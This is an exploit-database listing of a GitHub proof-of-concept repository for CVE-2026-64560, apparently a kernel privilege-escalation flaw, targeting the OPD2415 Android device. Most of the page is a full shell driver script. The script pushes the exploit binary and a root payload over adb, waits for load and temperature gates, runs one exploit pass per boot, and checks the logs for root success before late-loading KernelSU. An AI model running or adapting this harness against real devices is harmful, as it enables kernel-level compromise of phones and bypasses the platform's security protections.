Exploit database

GH-9247836616796f879c19808cd689e07b

youssefnoser/opd2415-6.6.118-cve-2026-64560-ksu

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

repro/scripts/run-per-boot.sh

Shell · 4,490 bytes
#!/bin/sh
# OPD2415 one-pass-per-boot driver for CVE-2026-64560 + KernelSU late-load.
#
# Usage:  sh repro/scripts/run-per-boot.sh [rounds] [auto-reboot-on-miss]
#
# Policy (from the 2026-10-26 win boots, see repro/docs/OPD2415-PORT.md):
#   * one exploit pass per boot — a boot that already had a stage0 graft must
#     be rebooted before the next pass (second pass fails stage0 restore);
#   * settle gate: OPD2415 carries ~12 permanent D-state load units
#     (cpudmof/0-7, osml_monitor, adci_thread, usbtemp_kthread, ufcs_sm), the
#     reference loadavg<=2 threshold never passes here — use <=15 x3 samples;
#   * thermal gate: battery deci-C<=550 milli-C below 55C (battery temp*100);
#   * never kill the exploit mid-flight except a parked MISS_PRESERVE holder
#     (kill is safe after a preserved miss, deadly mid-chain);
#   * the run itself is time-capped at 900s (timeout kills the adb pipe; the
#     remote holder dies with it — expected post-win wedge is normal).
set -u
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
REPO=$(CDPATH= cd -- "$HERE/../.." && pwd)
BUILD=$REPO/repro/build/opd2415-c4127a25dcf3
DEVDIR=/data/local/tmp/fgroot/opd2415-c4127a25dcf3
# ksud is NOT distributed (GPL-3.0): extract it from YOUR KernelSU Manager APK
# with repro/scripts/extract-ksud.sh, then point KSUD at the file.
KSUD=${KSUD:-./ksud}
LOGDIR=${LOGDIR:-$PWD/runs}
ROUNDS=${1:-12}
AUTO_REBOOT=${2:-1}
mkdir -p "$LOGDIR"

wait_online() {
    n=0
    until [ "$(adb get-state 2>/dev/null)" = "device" ]; do
        n=$((n+1)); [ $n -gt 200 ] && return 1
        sleep 3
    done
    n=0
    until [ "$(adb shell getprop sys.boot_completed 2>/dev/null | tr -d '[:space:]')" = "1" ]; do
        n=$((n+1)); [ $n -gt 200 ] && return 1
        sleep 3
    done
    return 0
}

settle() {
    samples=0
    while [ $samples -lt 3 ]; do
        load=$(adb shell cat /proc/loadavg 2>/dev/null | cut -d' ' -f1 | tr -d '[:space:]')
        case "$load" in ''|*[!0-9.]*) load=999 ;; esac
        ok=$(awk -v l="$load" 'BEGIN { print (l <= 15.0) ? 1 : 0 }')
        if [ "$ok" = "1" ]; then samples=$((samples+1)); else samples=0; fi
        sleep 10
    done
}

thermal_gate() {
    while :; do
        t=$(adb shell dumpsys battery 2>/dev/null | grep -m1 temperature | grep -oE '[0-9]+' | head -1)
        case "$t" in ''|*[!0-9]*) t=9990 ;; esac
        [ $((t*10)) -le 55000 ] 2>/dev/null && return 0
        echo "CAMPAIGN thermal_wait temp_mC=$((t*10))"
        sleep 30
    done
}

push_payload() {
    adb shell "mkdir -p $DEVDIR && rm -f $DEVDIR/cve-2026-64560-fanout $DEVDIR/ksud_v331 $DEVDIR/root_exec.sh" 2>/dev/null
    adb push "$BUILD/cve-2026-64560-fanout" "$DEVDIR/cve-2026-64560-fanout" >/dev/null 2>&1
    adb push "$BUILD/root_exec.sh" "$DEVDIR/root_exec.sh" >/dev/null 2>&1
    adb push "$LOGDIR/../ksud-v331" "$DEVDIR/ksud_v331" >/dev/null 2>&1
    adb shell "chmod 755 $DEVDIR/*" 2>/dev/null
}

outcome() {
    log=$1
    if grep -aq "ROOT_CHILD_HOLD_PASS" "$log" 2>/dev/null; then
        if grep -aq "late-load rc=0" "$log" 2>/dev/null; then echo ROOT; else
        echo CHAIN-NO-KSU; fi
    elif grep -aq "MISC_BRIDGE_MISS_PRESERVE" "$log" 2>/dev/null; then echo HOLD
    else echo MISS-OR-WEDGE; fi
}

round=0
while [ $round -lt $ROUNDS ]; do
    round=$((round+1))
    echo "=== round $round/$ROUNDS ==="
    wait_online || { echo "CAMPAIGN device_limit_boot=$round"; break; }
    echo "CAMPAIGN boot=$round online  bootreason=$(adb shell getprop ro.boot.bootreason 2>/dev/null)"
    settle
    thermal_gate
    push_payload
    adb logcat -b all -v time > "$LOGDIR/run-$round-logcat.log" 2>&1 &
    lcat=$!
    timeout 900 adb shell "cd $DEVDIR && FG_ROOT_EXEC='sh $DEVDIR/root_exec.sh' ./cve-2026-64560-fanout --run" \
        > "$LOGDIR/run-$round.log" 2>&1
    rc=$?
    kill $lcat 2>/dev/null
    res=$(outcome "$LOGDIR/run-$round.log")
    echo "CAMPAIGN boot=$round rc=$rc outcome=$res"
    grep -aE "ROOT_CHILD_HOLD_PASS|late-load rc|STAGE8_CRED_STAGE_PASS" "$LOGDIR/run-$round.log" 2>/dev/null | tail -3
    case "$res" in
        ROOT) echo "CAMPAIGN_SUCCESS round=$round"; exit 0 ;;
        HOLD)
            if [ "$rc" = "124" ]; then  # parked: kill the holder to free the device
                adb shell 'pkill -9 -f cve-2026-64560-fanout' >/dev/null 2>&1
                sleep 2
            fi
            ;;
    esac
    if [ "$AUTO_REBOOT" = "1" ]; then
        adb reboot >/dev/null 2>&1 || true
    fi
done
echo "CAMPAIGN_DONE rounds=$round"